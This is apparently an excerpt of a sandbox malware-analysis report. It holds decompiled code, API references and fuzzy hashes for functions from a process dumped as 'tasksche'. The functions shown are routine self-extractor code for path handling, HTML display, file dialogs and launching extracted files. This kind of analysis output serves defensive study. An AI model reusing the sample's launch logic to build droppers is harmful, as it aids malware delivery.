				_t75 = _a4;
				if( *_t75 != 0) {
					E0040A0EA(_t75);
					_t58 = E0041A7AF(_t75);
					_t26 = E0040A2F5(_t75);
					__eflags = _t26;
					if(_t26 == 0) {
						_t28 = GetCurrentDirectoryW(0x7ff,  &_v4100);
						__eflags = _t28;
						if(_t28 == 0) {
							L21:
							_t29 = 0;
							__eflags = 0;
							L22:
							return _t29;
						}
						__eflags = _t28 - 0x7ff;
						if(_t28 > 0x7ff) {
							goto L21;
						}
						__eflags = E0040A0C5( *_t75 & 0x0000ffff);
						if(__eflags == 0) {
							E0040A116(__eflags,  &_v4100, 0x800);
							_t35 = E0041A7AF( &_v4100);
							__eflags = _a12 - _t35 + _t58 + 4;
							if(_a12 <= _t35 + _t58 + 4) {
								goto L21;
							}
							_t68 = _a8;
							E0041C853(_a8, L"\\\\?\\", 4);
							E0041A7F7(_t68 + 8,  &_v4100);
							__eflags =  *_t75 - 0x2e;
							if(__eflags == 0) {
								__eflags = E0040A0C5(_t75[1] & 0x0000ffff);
								if(__eflags != 0) {
									__eflags = _t75;
								}
							}
							E00410BC9(__eflags, _t68, _t75, _a12);
							L20:
							_t29 = 1;
							goto L22;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t69 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041C853(_t69 + 8,  &_v4100, 2);
						E0041A7F7(_t69 + 0xc, _t75);
						goto L20;
					}
					_t49 = E0040A0EA(_t75);
					__eflags = _t49;
					if(_t49 == 0) {
						__eflags =  *_t75 - 0x5c;
						if( *_t75 != 0x5c) {
							goto L21;
						}
						_t76 =  &(_t75[1]);
						__eflags =  *_t76 - 0x5c;
						if( *_t76 != 0x5c) {
							goto L21;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t71 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041A7F7(_t71 + 8, L"UNC");
						E0041A7F7(_t71 + 0xe, _t76);
						goto L20;
					}
					__eflags = _a12 - _t58 + 4;
					if(_a12 <= _t58 + 4) {
						goto L21;
					}
					_t73 = _a8;
					E0041C853(_a8, L"\\\\?\\", 4);
					E0041A7F7(_t73 + 8, _t75);
					goto L20;
				}
				return 0;
			}

APIs

_wcslen.LIBCMT ref: 0040A403
_wcsncpy.LIBCMT ref: 0040A43A
_wcscpy.LIBCMT ref: 0040A444

Strings

\\?\, xrefs: 0040A434, 0040A479, 0040A4E5, 0040A53D
UNC, xrefs: 0040A487

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen_wcsncpy
String ID: UNC$\\?\
API String ID: 677062453-253988292
Opcode ID: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction ID: cd13f9bd72fca169d524aa050727d65a10ef4dcd9f377a8cbe6755f4863ba3db
Opcode Fuzzy Hash: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction Fuzzy Hash: 7441AF7294131476DB20AA618C82AEB33687F55748F04442FF954732C2E7BCD6A586AB

Uniqueness

Uniqueness Score: -1.00%

Function 00419779 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 125
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419779(void* __ebx, intOrPtr __ecx, short* _a4, char _a7) {
				short* _v8;
				signed int _v12;
				intOrPtr _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t26;
				short* _t30;
				signed int _t34;
				signed int _t41;
				int _t42;
				void* _t50;
				char* _t51;
				void* _t66;
				void* _t67;
				short* _t68;
				short* _t71;
				int _t75;

				_v16 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					return _t26;
				}
				_v12 = _v12 & 0x00000000;
				_t71 = _a4;
				_push(_t67);
				_a7 = E004191A2(_t71);
				_t30 = E0041CF3E(__ebx, _t66, _t67, E0041A7AF(_t71) + _t28 + 0x200);
				_t68 = _t30;
				if(_t68 == 0) {
					L16:
					return _t30;
				}
				_push(__ebx);
				_t47 = L"<html>";
				E0041A7F7(_t68, L"<html>");
				E0041A7C9(_t68, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E0041A7C9(_t68, L"utf-8\"></head>");
				_v8 = _t71;
				if( *_t71 != 0x20) {
					L4:
					_t34 = E00411E81(_t82, _v8, _t47, 6);
					asm("sbb bl, bl");
					_t50 =  ~_t34 + 1;
					if(_t50 != 0) {
						_t71 = _v8 + 0xc;
					}
					E0041A7C9(_t68, _t71);
					if(_t50 == 0) {
						E0041A7C9(_t68, L"</html>");
					}
					_t86 = _a7;
					if(_a7 == 0) {
						_t68 = E004191D8(_t50, _t86, _t68);
					}
					_t75 = 9 + E0041A7AF(_t68) * 6;
					_t51 = GlobalAlloc(0x40, _t75);
					if(_t51 != 0) {
						_t75 = _t75 + 0xfffffffd;
						_t17 = _t51 + 3; // 0x3
						_t42 = WideCharToMultiByte(0xfde9, 0, _t68, 0xffffffff, _t17, _t75, 0, 0);
						_t88 = _t42;
						if(_t42 == 0) {
							 *_t51 = 0;
						} else {
							 *_t51 = 0xef;
							 *((char*)(_t51 + 1)) = 0xbb;
							 *((char*)(_t51 + 2)) = 0xbf;
						}
					}
					E0041A506(_t51, _t68, _t75, _t88);
					_t30 =  &_v12;
					__imp__CreateStreamOnHGlobal(_t51, 1, _t30, _t68);
					if(_t30 >= 0) {
						E0041963B(_v16,  *((intOrPtr*)(_v16 + 0x10)), _v12);
						_t41 = _v12;
						_t30 =  *((intOrPtr*)( *_t41 + 8))(_t41);
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_v8 = _v8 + 2;
					_t82 =  *_v8 - 0x20;
				} while ( *_v8 == 0x20);
				goto L4;
			}

0x00419783
0x00419786
0x004198bf
0x004198bf
0x0041978c
0x00419791
0x00419794
0x0041979c
0x004197ac
0x004197b1
0x004197b7
0x004198bc
0x00000000
0x004198bd
0x004197bd
0x004197be
0x004197c5
0x004197d0
0x004197db
0x004197e7
0x004197ea
0x004197f9
0x004197ff
0x00419808
0x0041980a
0x0041980c
0x00419811
0x00419811
0x00419816
0x0041981f
0x00419827
0x0041982d
0x0041982e
0x00419832
0x0041983d
0x0041983d
0x0041984b
0x00419857
0x0041985d
0x00419861
0x00419865
0x00419872
0x00419878
0x0041987a
0x00419889
0x0041987c
0x0041987c
0x0041987f
0x00419883
0x00419883
0x0041987a
0x0041988d
0x00419893
0x0041989a
0x004198a3
0x004198ae
0x004198b3
0x004198b9
0x004198b9
0x00000000
0x00000000
0x00000000
0x00000000
0x004197ec
0x004197ec
0x004197ec
0x004197f3
0x004197f3
0x00000000

APIs

_wcslen.LIBCMT ref: 0041979F
_malloc.LIBCMT ref: 004197AC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 004197C5
_wcscat.LIBCMT ref: 004197D0
_wcscat.LIBCMT ref: 004197DB
_wcscat.LIBCMT ref: 00419816
_wcscat.LIBCMT ref: 00419827
_wcslen.LIBCMT ref: 00419840
GlobalAlloc.KERNEL32(00000040,-00000009,?,<html>,00000006), ref: 00419851
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,-00000106,00000000,00000000), ref: 00419872
CreateStreamOnHGlobal.OLE32(00000000,00000001,00000000), ref: 0041989A

Strings

</html>, xrefs: 00419821
<html>, xrefs: 004197BE, 004197C3, 004197FB
utf-8"></head>, xrefs: 004197D5
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 004197CA

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscat$Global_wcslen$AllocAllocateByteCharCreateHeapMultiStreamWide_malloc_wcscpy
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4158105118-4209811716
Opcode ID: 53bc3352f8ea50f6b55b98aeccbf3bf7f091601a8e366390c7fd0f244fec85a0
Instruction ID: 9750a07ada00fadd6417d4a808c8c0194c88b3581ecb1a923ba5d07fa5d26e01
Opcode Fuzzy Hash: 53bc3352f8ea50f6b55b98aeccbf3bf7f091601a8e366390c7fd0f244fec85a0
Instruction Fuzzy Hash: 1C312A32900205BBDB11BB659C95EEF77789F42724F14415FF810AB2C6DB7C8E81836A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E46C Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 174
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E46C(signed short* __ecx, struct HWND__* _a4, intOrPtr _a8) {
				char _v5;
				intOrPtr _v12;
				long _v16;
				struct _SHELLEXECUTEINFOW _v76;
				char _v4172;
				void* __edi;
				void* _t58;
				signed int _t61;
				intOrPtr* _t62;
				intOrPtr _t63;
				int _t66;
				intOrPtr _t76;
				signed short* _t83;
				signed int _t89;
				signed short* _t90;
				signed short _t92;
				long _t94;
				signed short* _t97;

				_t58 = E0041AAF0(0x1048);
				_t97 = __ecx;
				if( *((intOrPtr*)(__ecx)) == 0) {
					L51:
					return _t58;
				}
				_t58 = E0041A7AF(__ecx);
				if(_t58 >= 0x7f6) {
					goto L51;
				} else {
					_t94 = 0x3c;
					E0041A820(_t94,  &_v76, 0, _t94);
					_t89 =  *_t97 & 0x0000ffff;
					_v76.cbSize = _t94;
					_v76.fMask = 0x1c0;
					if(_t89 != 0x22) {
						_v76.lpFile = _t97;
					} else {
						_v76.lpFile =  &(_t97[1]);
					}
					_t61 = 0;
					if(_t89 == 0) {
						L20:
						_t62 = _v76.lpParameters;
						if(_t62 == 0 ||  *_t62 == 0) {
							if(_a8 == 0 &&  *0x44287a != 0) {
								_v76.lpParameters = 0x44287a;
							}
						}
						_v76.nShow = 1;
						_t63 = E0040A76A(_v76.lpFile);
						_v12 = _t63;
						if(_t63 != 0 && E00411E60(_t63, L".inf") == 0) {
							_v76.lpVerb = L"Install";
						}
						if(E004092A5(_v76.lpFile) != 0) {
							E0040A9CB(_t94, _v76.lpFile,  &_v4172, 0x800);
							_v76.lpFile =  &_v4172;
						}
						_t66 = ShellExecuteExW( &_v76);
						if(_t66 == 0) {
							L50:
							return _t66;
						} else {
							_v5 = 0;
							if( *0x441870 != 0 || _a8 != 0 ||  *0x44185d != 0) {
								if(_a4 != 0 && IsWindowVisible(_a4) != 0) {
									ShowWindow(_a4, 0);
									_v5 = 1;
								}
								WaitForInputIdle(_v76.hProcess, 0x7d0);
								E0040D857(_v76.hProcess);
								if( *0x44185d != 0 && GetExitCodeProcess(_v76.hProcess,  &_v16) != 0) {
									_t76 = _v16 + 0x3e8;
									if(_t76 >  *0x441860) {
										 *0x441860 = _t76;
									}
								}
							}
							_t66 = CloseHandle(_v76.hProcess);
							if(_v12 == 0) {
								L43:
								if( *0x441870 == 0 || _a8 != 0) {
									_t66 = ((0 | _a8 == 0x00000000) - 0x00000001 & 0xfffffce0) + 0x3e8;
									 *0x441864 = _t66;
								} else {
									 *0x441864 = 0x1b58;
								}
								goto L47;
							} else {
								_t66 = E00411E60(_v12, L".exe");
								if(_t66 == 0) {
									L47:
									if(_v5 != 0 && _a8 != 0) {
										_t66 = ShowWindow(_a4, 1);
									}
									goto L50;
								}
								goto L43;
							}
						}
					} else {
						_t90 = _t97;
						do {
							if( *_t90 != 0x22) {
								L13:
								if(_t97[_t61] == 0x20 ||  *((short*)(_t97 + 2 + _t61 * 2)) == 0x2f) {
									_t83 =  &(_t97[_t61]);
									if( *_t83 == 0x20) {
										 *_t83 = 0;
									}
									_v76.lpParameters =  &(_t83[1]);
									goto L20;
								} else {
									goto L15;
								}
							}
							while(1) {
								_t61 = _t61 + 1;
								if(_t97[_t61] == 0) {
									break;
								}
								if(_t97[_t61] == 0x22) {
									_t92 = 0x20;
									_t97[_t61] = _t92;
									goto L13;
								}
							}
							goto L13;
							L15:
							_t61 = _t61 + 1;
							_t90 =  &(_t97[_t61]);
						} while ( *_t90 != 0);
						goto L20;
					}
				}
			}

0x0040e474
0x0040e47b
0x0040e482
0x0040e68a
0x0040e68a
0x0040e68a
0x0040e489
0x0040e494
0x00000000
0x0040e49a
0x0040e49d
0x0040e4a4
0x0040e4a9
0x0040e4af
0x0040e4b2
0x0040e4bd
0x0040e4c7
0x0040e4bf
0x0040e4c2
0x0040e4c2
0x0040e4ca
0x0040e4cf
0x0040e520
0x0040e520
0x0040e525
0x0040e52f
0x0040e53a
0x0040e53a
0x0040e52f
0x0040e544
0x0040e54b
0x0040e550
0x0040e555
0x0040e566
0x0040e566
0x0040e577
0x0040e588
0x0040e593
0x0040e593
0x0040e59a
0x0040e5a2
0x0040e686
0x00000000
0x0040e5a8
0x0040e5ae
0x0040e5bc
0x0040e5ce
0x0040e5e1
0x0040e5e3
0x0040e5e3
0x0040e5ef
0x0040e5f8
0x0040e603
0x0040e619
0x0040e621
0x0040e623
0x0040e623
0x0040e621
0x0040e603
0x0040e62b
0x0040e634
0x0040e647
0x0040e64d
0x0040e66e
0x0040e670
0x0040e654
0x0040e654
0x0040e654
0x00000000
0x0040e636
0x0040e63e
0x0040e645
0x0040e675
0x0040e678
0x0040e684
0x0040e684
0x00000000
0x0040e678
0x00000000
0x0040e645
0x0040e634
0x0040e4d1
0x0040e4d1
0x0040e4d3
0x0040e4d7
0x0040e4f2
0x0040e4f7
0x0040e50c
0x0040e513
0x0040e517
0x0040e517
0x0040e51d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e4f7
0x0040e4e2
0x0040e4e2
0x0040e4e7
0x00000000
0x00000000
0x0040e4e0
0x0040e4ed
0x0040e4ee
0x00000000
0x0040e4ee
0x0040e4e0
0x00000000
0x0040e501
0x0040e501
0x0040e502
0x0040e505
0x00000000
0x0040e50a
0x0040e4cf

APIs

_wcslen.LIBCMT ref: 0040E489
_memset.LIBCMT ref: 0040E4A4
ShellExecuteExW.SHELL32(?), ref: 0040E59A
IsWindowVisible.USER32(?), ref: 0040E5D3
ShowWindow.USER32(?,00000000), ref: 0040E5E1
WaitForInputIdle.USER32 ref: 0040E5EF
GetExitCodeProcess.KERNEL32 ref: 0040E60C
CloseHandle.KERNEL32(?), ref: 0040E62B
ShowWindow.USER32(?,00000001), ref: 0040E684

Strings

.inf, xrefs: 0040E557
.exe, xrefs: 0040E636
z(D, xrefs: 0040E53A

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_memset_wcslen
String ID: .exe$.inf$z(D
API String ID: 3215649069-3601587883
Opcode ID: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction ID: 3e26098100528e53db86749210a7047ac1cc05a8490cbdb1dbf577081e62715c
Opcode Fuzzy Hash: bed88ef6189cab0bc2363a68129e730fc28d238946ac4723ee352b551c7a999f
Instruction Fuzzy Hash: 8051B571910258BADF31AFA2EC405AE7BB4EF11304F444C7BE841B72E1E77999A5CB09

Uniqueness

Uniqueness Score: -1.00%

Function 00419A9D Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00419A9D(void* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, struct HWND__* _a12, intOrPtr _a16, int _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				struct tagPOINT _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t41;
				long _t42;
				struct HWND__* _t46;
				void* _t52;
				struct HWND__* _t61;
				void* _t69;
				WCHAR* _t71;

				_t61 = _a8;
				_t69 = __ecx;
				 *(__ecx + 8) = _t61;
				 *((char*)(__ecx + 0x25)) = _a20;
				ShowWindow(_t61, 0);
				E00419A36(_t69, _a4);
				 *(_t69 + 0x14) = _a12;
				 *((intOrPtr*)(_t69 + 0x18)) = _a16;
				GetWindowRect(_t61,  &_v20);
				_t52 = GetParent;
				MapWindowPoints(0, GetParent(_t61),  &_v20, 2);
				_t41 =  *(_t69 + 4);
				if(_t41 != 0) {
					DestroyWindow(_t41);
				}
				_t42 = _v20.x;
				_a20 = _t42 + 1;
				_t46 = CreateWindowExW(0, L"RarHtmlClassName", 0, 0x40000000, _a20, _v20.y, _v12 - _t42, _v8 - _v20.y, GetParent(_a8), 0,  *_t69, _t69);
				 *(_t69 + 4) = _t46;
				if( *((intOrPtr*)(_t69 + 0x10)) != 0) {
					__eflags = _t46;
					if(_t46 != 0) {
						ShowWindow(_t46, 5);
						_t46 = UpdateWindow( *(_t69 + 4));
					}
					__eflags =  *((intOrPtr*)(_t69 + 0x20)) - 0x64;
					if( *((intOrPtr*)(_t69 + 0x20)) > 0x64) {
						_t46 = E004192D0(_t69);
					}
				} else {
					if(_a8 != 0 &&  *((intOrPtr*)(_t69 + 0x18)) == 0) {
						_t46 =  *(_t69 + 0x14);
						_t79 = _t46;
						if(_t46 != 0) {
							_push(_t46);
							_t46 = E0041947D(_t52, _t69, _t79);
							_t71 = _t46;
							_t80 = _t71;
							if(_t71 != 0) {
								ShowWindow(_a8, 5);
								SetWindowTextW(_a8, _t71);
								_push(_t71);
								_t46 = E0041A506(_t52, 0, _t71, _t80);
							}
						}
					}
				}
				return _t46;
			}

0x00419aa9
0x00419aac
0x00419ab1
0x00419ab4
0x00419ab7
0x00419ac2
0x00419aca
0x00419ad0
0x00419ad8
0x00419ade
0x00419af0
0x00419af6
0x00419afb
0x00419afe
0x00419afe
0x00419b04
0x00419b18
0x00419b3b
0x00419b41
0x00419b47
0x00419b86
0x00419b88
0x00419b8d
0x00419b96
0x00419b96
0x00419b9c
0x00419ba0
0x00419ba4
0x00419ba4
0x00419b49
0x00419b4c
0x00419b53
0x00419b56
0x00419b58
0x00419b5a
0x00419b5d
0x00419b62
0x00419b64
0x00419b66
0x00419b6d
0x00419b77
0x00419b7d
0x00419b7e
0x00419b83
0x00419b66
0x00419b58
0x00419b4c
0x00419bad

APIs

ShowWindow.USER32(?,00000000,00000000,?,?), ref: 00419AB7

Part of subcall function 00419A36: LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
Part of subcall function 00419A36: RegisterClassExW.USER32 ref: 00419A8E

GetWindowRect.USER32 ref: 00419AD8
GetParent.USER32(?), ref: 00419AEB
MapWindowPoints.USER32 ref: 00419AF0
DestroyWindow.USER32(?), ref: 00419AFE
GetParent.USER32(?), ref: 00419B1C
CreateWindowExW.USER32 ref: 00419B3B
ShowWindow.USER32(?,00000005,?), ref: 00419B6D
SetWindowTextW.USER32(?,00000000), ref: 00419B77
ShowWindow.USER32(00000000,00000005), ref: 00419B8D
UpdateWindow.USER32(?), ref: 00419B96

Strings

RarHtmlClassName, xrefs: 00419B35

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$Show$Parent$ClassCreateCursorDestroyLoadPointsRectRegisterTextUpdate
String ID: RarHtmlClassName
API String ID: 3841971108-1658105358
Opcode ID: 6c641d0ff31dc14dd7b3caf662548c90144b8a356fed134c41ac5bc1dd73445d
Instruction ID: a0655035169e6554100d25c4e6de203faa719369231219c5c88fda93c074337e
Opcode Fuzzy Hash: 6c641d0ff31dc14dd7b3caf662548c90144b8a356fed134c41ac5bc1dd73445d
Instruction Fuzzy Hash: 0331B035600604EFCB319F65EC48EAFBBB9FF44700F10451AF91692260D735AD51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405164 Relevance: 21.1, APIs: 14, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00405164(void* __ecx, intOrPtr _a4, intOrPtr _a8, short* _a12, intOrPtr _a16, char _a20) {
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v60;
				short* _v64;
				char* _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				char _v1116;
				void* __edi;
				signed int _t40;
				intOrPtr _t44;
				signed int _t48;
				signed int _t57;
				void* _t61;
				signed int _t62;
				void* _t64;
				char _t65;
				short* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				signed int _t76;

				_t63 =  &_v1116;
				if(_a16 != 0) {
					E0041A7F7( &_v1116, _a16);
					_t67 = _t68 + E0041A7AF( &_v1116) * 2 - 0x456;
					E0041A7F7(_t67, _a16);
					_t57 = E0041A7AF(_t67);
					_t69 = _t69 + 0x18;
					_t63 = _t67 + 2 + _t57 * 2;
				}
				E0041A7F7(_t63, E0040C3BF(0xa2));
				_t64 = _t63 + 2 + E0041A7AF(_t63) * 2;
				E0041A7F7(_t64, 0x42a570);
				_t40 = E0041A7AF(_t64);
				 *((short*)(_t64 + 2 + _t40 * 2)) = 0;
				_t65 = 0x58;
				E0041A820(_t61,  &_v92, 0, _t65);
				_v88 = _a4;
				_t44 =  *0x4335a8; // 0x400000
				_v84 = _t44;
				_v80 =  &_v1116;
				_v92 = _t65;
				_t66 = _a12;
				_v44 = _a8;
				_v64 = _t66;
				_v60 = 0x800;
				_v40 = 0x1080c;
				_push( &_v92);
				if(_a20 == 0) {
					_t48 = GetOpenFileNameW();
				} else {
					_t48 = GetSaveFileNameW();
				}
				_t62 = _t48;
				if(_t62 == 0) {
					_t48 = CommDlgExtendedError();
					if(_t48 == 0x3002) {
						 *_t66 = 0;
						_push( &_v92);
						if(_a20 == 0) {
							_t48 = GetOpenFileNameW();
						} else {
							_t48 = GetSaveFileNameW();
						}
						_t62 = _t48;
					}
					_t76 = _t62;
				}
				return _t48 & 0xffffff00 | _t76 != 0x00000000;
			}

0x00405174
0x0040517a
0x00405182
0x00405192
0x0040519a
0x004051a0
0x004051a5
0x004051a8
0x004051a8
0x004051b8
0x004051c3
0x004051cd
0x004051d3
0x004051dc
0x004051e1
0x004051e8
0x004051f6
0x004051f9
0x004051fe
0x00405207
0x00405214
0x00405217
0x0040521a
0x00405220
0x00405223
0x0040522a
0x00405231
0x00405232
0x0040523c
0x00405234
0x00405234
0x00405234
0x0040523e
0x00405242
0x00405244
0x0040524f
0x00405257
0x0040525d
0x0040525e
0x00405268
0x00405260
0x00405260
0x00405260
0x0040526a
0x0040526a
0x0040526c
0x0040526c
0x00405275

APIs

_wcscpy.LIBCMT ref: 00405182
_wcslen.LIBCMT ref: 0040518A
_wcscpy.LIBCMT ref: 0040519A
_wcslen.LIBCMT ref: 004051A0
_wcscpy.LIBCMT ref: 004051B8
_wcslen.LIBCMT ref: 004051BE
_wcscpy.LIBCMT ref: 004051CD
_wcslen.LIBCMT ref: 004051D3
_memset.LIBCMT ref: 004051E8
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405234
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 0040523C
CommDlgExtendedError.COMDLG32(?,?,?,?,?,000000A2), ref: 00405244
GetSaveFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405260
GetOpenFileNameW.COMDLG32(?,?,?,?,?,?,000000A2), ref: 00405268

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileName_wcscpy_wcslen$OpenSave$CommErrorExtended_memset
String ID:
API String ID: 3496903968-0
Opcode ID: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction ID: 017447a648ceccb586da1f31f92202068c03838f3088d87860c47b682a039f1a
Opcode Fuzzy Hash: 446a76bb310dad6e5806d0052d9e568853349a282fe8c87d623ef543e340e0f8
Instruction Fuzzy Hash: D531D775901618ABCB11AFA5DC45ACF7BB8EF04314F00002AF904B7281DB38DA958FAE

Uniqueness

Uniqueness Score: -1.00%

Function 00419D0B Relevance: 19.6, APIs: 13, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00419D0B(void* _a4, signed int _a8, int _a12) {
				struct HDC__* _v8;
				struct HDC__* _v12;
				struct HBITMAP__* _v16;
				void* _v20;
				signed int _v36;
				signed int _v40;
				void _v44;
				struct HDC__* _t36;
				signed int _t43;
				struct HDC__* _t54;

				_t36 = GetDC(0);
				_v12 = _t36;
				_t54 = CreateCompatibleDC(_t36);
				_v8 = CreateCompatibleDC(_v12);
				GetObjectW(_a4, 0x18,  &_v44);
				asm("cdq");
				_t43 = _v36 * _a8 / _v40;
				if(_t43 < _a12) {
					_a12 = _t43;
				}
				_v16 = CreateCompatibleBitmap(_v12, _a8, _a12);
				_a4 = SelectObject(_t54, _a4);
				_v20 = SelectObject(_v8, _v16);
				StretchBlt(_v8, 0, 0, _a8, _a12, _t54, 0, 0, _v40, _v36, 0xcc0020);
				SelectObject(_t54, _a4);
				SelectObject(_v8, _v20);
				DeleteDC(_t54);
				DeleteDC(_v8);
				ReleaseDC(0, _v12);
				return _v16;
			}

0x00419d17
0x00419d24
0x00419d2c
0x00419d30
0x00419d3c
0x00419d49
0x00419d4a
0x00419d50
0x00419d52
0x00419d52
0x00419d6e
0x00419d76
0x00419d86
0x00419d9a
0x00419da4
0x00419dac
0x00419db5
0x00419dba
0x00419dc0
0x00419dcd

APIs

GetDC.USER32(00000000), ref: 00419D17
CreateCompatibleDC.GDI32(00000000), ref: 00419D27
CreateCompatibleDC.GDI32(?), ref: 00419D2E
GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
SelectObject.GDI32(00000000,?), ref: 00419D71
SelectObject.GDI32(?,00000200), ref: 00419D7C
StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
SelectObject.GDI32(00000000,?), ref: 00419DA4
SelectObject.GDI32(?,00419EBD), ref: 00419DAC
DeleteDC.GDI32(00000000), ref: 00419DB5
DeleteDC.GDI32(?), ref: 00419DBA
ReleaseDC.USER32 ref: 00419DC0

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$Delete$BitmapReleaseStretch
String ID:
API String ID: 3950507155-0
